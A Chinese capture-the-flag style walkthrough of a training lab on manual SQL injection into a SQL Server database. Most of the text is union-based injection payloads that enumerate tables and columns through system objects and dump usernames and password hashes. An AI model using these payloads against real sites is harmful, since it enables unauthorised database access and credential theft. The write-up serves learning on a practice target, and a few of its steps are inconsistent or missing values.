墨者学院——SQL手工注入漏洞测试(Sql Server数据库)
根据背景:
这是一个Sql Server数据库类型的注入靶机,直接启动环境开干。
第一步
使用我们的万金油语句进行判断:
id=2 and 1=1 页面正常;
id=2 and 1=2 页面异常;
可以推测SQL语句为:select * from table where id =2
第二步
使用order by 语句进行判断列数:
id=2 order by 1 | 正常 |
---|---|
id=2 order by 2 | 正常 |
id=2 order by 3 | 异常 |
id=2 order by 3 | 正常 |
id=2 order by 5 | 异常 |
判断出有4列。
第三步
使用联合查询进行回显,这里注意了,要用union all select而不是union select,否则无法回显。(注:union和union all的区别https://jingyan.baidu.com/article/2d5afd69e8dfd285a3e28e66.html
and 1=2 union all select 1,2,3,4
可以看出回显失败,这是因为在语句3的位置,我们要使用字符型的格式:
and 1=2 union all select 1,2,'3',4
回显成功,在语句2和3的位置可以进行相关的操作。
第四步
使用db_name()函数查询数据库:
and 1=2 union all select 1,2,db_name(),4
数据库名为:
第五步
爆表名:
and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null
再看看还有没有其他的表:
and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'and name not in ('manage')),'3',null
and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'and name not in ('manage','announcement')),'3',null
说明只有’manage’,'announcement’这两个表。
第六步
爆列:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),(select top 1 col_name(object_id('manage'),4) from sysobjects),4
可以看出只有3列:id,username,password.
第七步
爆值:
and 1=2 union all select 1,username, password ,4 from manage
得到用户名和密码(用MD5解密),登录得到key。
结束语:这是抬锅整理出来的题解希望能对大家有帮助☺